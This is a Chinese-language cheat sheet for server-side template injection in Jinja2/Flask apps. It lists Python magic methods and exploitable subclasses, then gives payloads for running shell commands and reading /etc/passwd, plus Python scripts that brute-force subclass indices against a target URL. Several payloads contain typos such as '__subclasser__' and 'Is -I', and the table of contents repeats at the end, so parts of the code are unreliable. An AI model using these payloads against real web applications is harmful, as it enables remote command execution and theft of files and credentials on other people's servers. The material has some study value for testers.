目录
frozen_importlib.BuiltinImporter (importlib类执行命令)
frozen_importlib_external.FileLoader (文件读取)
各种魔术方法
__class__ 返回一个实例所属的类
__mro__ 查看类继承的所有父类,直到object
__subclasses__() 获取一个类的子类,返回的是一个列表
__bases__ 返回一个类直接所继承的类(元组形式)
__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
__globals__ 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价
__getattribute__ 当类被调用的时候,无条件进入此函数。
__getattr__ 对象中不存在的属性时调用
__dict__ 返回所有属性,包括属性,方法等
__builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数
常用注入模块
os. AddedDIIDirectory
os._wrap _close
frozen_importlib._DummyModuleLock
frozen_importlib._ModuleLockManager
frozen_importlib.ModuleSpeclei
frozen_importlib.BuiltinImporter
frozen_importlib_external.FileLoader
frozen_importlib_external._NamespacePath
frozen_importlib_external._NamespaceLoader
frozen_importlib_external.FileFinder
zipimport.zipimporter
zipimport._ZiplmportResourceReader
_sitebuiltins.Quitter
_sitebuiltins._Printer
warnings.WarningMessage
warnings.catch_warnings
weakref.finalize
pickle._Framer
pickle._Unframer
pickle._Pickler
pickle._Unpickler
jinja2.bccache.Bucket
jinja2.runtime.TemplateReference
jinja2.runtime.Context
jinja2.runtime.BlockReference
jinja2.runtime.LoopContext
jinja2.runtime.Macro
jinja2.runtime.Undefined
jinja2.environment.Environment
jinja2.environment.TemplateExpression
jinja2.environment.TemplateStream
dis.Bytecode
payload
linecache类命令执行
{{''.__class__.__base__.__subclasses__()[i].__init__.__ globals__['linecache']['os'].popen("Is -I /").read()}}
{{''.__class__.__base__.__subclasses__()[i].__init__.__ globals__.linecache.os.popen("Is -I /").read()}}
frozen_importlib.BuiltinImporter (importlib类执行命令)
{{[].__class__.__base__.__subclasses__()[i]["load_module"]("os")["popen"]("ls -l /opt").read()}}
import requests
url= input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base.__subclasser__()["+str(i)+"]}}"}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
if '_frozen_importlib.BuiltinImporter' in response.text:
#print(response.text)
print(i)
except:
pass
frozen_importlib_external.FileLoader (文件读取)
{{''.__class__.__base__.__subclasses__()[i]["get_data"](0,"/etc/passwd")}}
获取i值(其中name需要根据实际情况而定)
import requests
url= input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base.__subclasser__()["+str(i)+"]}}"}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
#print(response.text)
print(i)
except:
pass
内建函数eval执行命令
{{().__class__.__base.__subclasser__()[i].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}
获取i值(其中name需要根据实际情况而定)
import requests
url= input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base.__subclasser__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
if 'eval' in response.text:
#print(response.text)
print(i)
except:
pass
os模块执行命令 (通过其他函数调用os模块)
通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
通过url_for,调用os
{{url_for.__globals__.os.popen('whoami').read()}}
在已经加载os模块的子类里直接调用os模块
{{''.__class__.__bases__ [0].__subclasses__()[i].__init__.__globals__['os'].popen("ls -l /opt").read()}}
{{''.__class__.__bases__ .__subclasses__()[i].__init__.__globals__os.popen('id').read()}}
获取i值(其中name需要根据实际情况而定)
import requests
url= input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base.__subclasser__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url, data=data)
if response.status_code == 200:
if 'os.py' in response.text:
print(response.text)
print(i)
except:
pass
目录
frozen_importlib.BuiltinImporter (importlib类执行命令)
frozen_importlib_external.FileLoader (文件读取)